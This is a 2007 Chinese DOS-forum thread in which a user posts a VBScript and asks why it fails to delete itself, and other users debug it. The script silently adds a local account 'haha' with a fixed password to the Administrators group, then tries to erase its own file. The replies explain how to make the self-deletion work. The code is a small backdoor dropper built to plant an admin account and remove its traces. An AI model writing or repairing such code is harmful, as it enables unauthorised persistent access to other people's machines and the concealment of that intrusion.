中国DOS联盟

-- 联合DOS 推动DOS 发展DOS --

联盟域名:www.cn-dos.net 论坛域名:www.cn-dos.net/forum
DOS,代表着自由开放与发展,我们努力起来,学习FreeDOS和Linux的自由开放与GNU精神,共同创造和发展美好的自由与GNU GPL世界吧!

中国DOS联盟论坛
现在时间是 2026-08-04 20:29
中国DOS联盟论坛 » DOS批处理 & 脚本技术(批处理室) » VBS删自身文件又生疑云 查看 752 回复 4
楼 主 VBS删自身文件又生疑云 发表于 2007-06-02 10:09 ·  中国 浙江 宁波 鄞州畅联信息技术有限公司
中级用户
★★
积分 385
发帖 156
注册 2007-01-19 02:32
19年会员
UID 76955
性别 男
状态 离线
Dim Wsh
Set Wsh = WScript.CreateObject("WScript.Shell")
WScript.Sleep(2000)
Wsh.Run "cmd /c net user haha 121212 /add&net localgroup administrators haha /add",false,false
Set Wsh=NoThing
WScript.quit
fso.DeleteFile(WScript.ScriptFullName)


这段代码不知道哪有错误,无法实现删除自身。请教大虾指点
2 发表于 2007-06-02 10:35 ·  中国 辽宁 本溪 联通
银牌会员
★★★
积分 1,212
发帖 464
注册 2006-12-13 21:11
19年会员
UID 73417
性别 男
状态 离线
Dim Wsh
Set Wsh = WScript.CreateObject("WScript.Shell")
WScript.Sleep(2000)
Wsh.Run "cmd /c net user haha 121212 /add&net localgroup administrators haha /add",false,false
Set Wsh=NoThing
WScript.quit '这个地方已以退出了脚本,所以没法删除(把这句去掉就可以了)
fso.DeleteFile(WScript.ScriptFullName)
本帖最近评分记录 (共 1 条) 点击查看详情
评分人分数时间
heicai +2 2007-06-02 19:32
3 发表于 2007-06-02 10:57 ·  中国 北京 中国中信股份有限公司
荣誉版主
★★★
积分 2,013
发帖 718
注册 2006-02-18 07:07
20年会员
UID 50550
状态 离线
But,Where is fso from?

Set fso = CreateObject("Scripting.FileSystemObject")
...
本帖最近评分记录 (共 1 条) 点击查看详情
评分人分数时间
heicai +2 2007-06-02 19:32
4 发表于 2007-06-02 14:23 ·  中国 辽宁 本溪 联通
银牌会员
★★★
积分 1,212
发帖 464
注册 2006-12-13 21:11
19年会员
UID 73417
性别 男
状态 离线
哈哈,没有细看....
5 发表于 2007-06-02 19:33 ·  中国 浙江 宁波 鄞州畅联信息技术有限公司
中级用户
★★
积分 385
发帖 156
注册 2007-01-19 02:32
19年会员
UID 76955
性别 男
状态 离线
感谢两位帮忙,问题终于解决
论坛跳转: